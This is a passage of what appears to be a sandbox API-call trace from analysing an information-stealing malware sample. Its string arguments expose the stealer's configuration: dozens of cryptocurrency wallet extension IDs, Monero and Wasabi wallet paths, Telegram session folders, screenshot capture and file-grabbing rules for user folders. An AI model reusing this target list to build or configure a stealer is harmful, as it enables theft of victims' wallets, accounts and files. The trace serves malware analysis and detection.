Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.174] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0260.175] LocalFree (hMem=0x6b9720) returned 0x0 [0260.175] LocalFree (hMem=0x6bb220) returned 0x0 [0260.175] LocalFree (hMem=0x6bcd20) returned 0x0 [0260.175] StrStrW (lpFirst="wlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.176] lstrlenW (lpString="wlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3407 [0260.176] lstrlenW (lpString="wlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3407 [0260.176] LocalAlloc (uFlags=0x40, uBytes=0x1a9e) returned 0x6b9720 [0260.176] lstrlenW (lpString="wlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3407 [0260.176] LocalAlloc (uFlags=0x40, uBytes=0x1a9e) returned 0x6bb1c8 [0260.176] lstrlenW (lpString="wlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension 